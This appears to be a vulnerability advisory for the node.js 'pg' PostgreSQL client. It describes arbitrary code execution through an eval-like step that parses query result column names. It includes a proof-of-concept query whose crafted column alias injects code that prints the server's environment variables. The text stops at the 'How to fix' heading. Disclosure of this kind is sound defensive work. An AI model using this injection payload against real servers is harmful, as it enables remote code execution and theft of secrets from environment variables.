    Arbitrary Code Execution

    pg is a non-blocking PostgreSQL client for node.js.

    Affected versions of this package are vulnerable to Arbitrary Code Execution. When parsing results of a query, it goes through a form of eval, and with a specially crafted column name, an attacker can cause code to run remotely on the server.

    PoC:

    const { Client } = require('pg')
    const client = new Client()
    client.connect()
    
    const sql = `SELECT 1 AS "\\'/*", 2 AS "\\'*/\n + console.log(process.env)] = null;\n//"`
    
    client.query(sql, (err, res) => {
      client.end()
    });
    

    How to fix Arbitrary Code Execution?
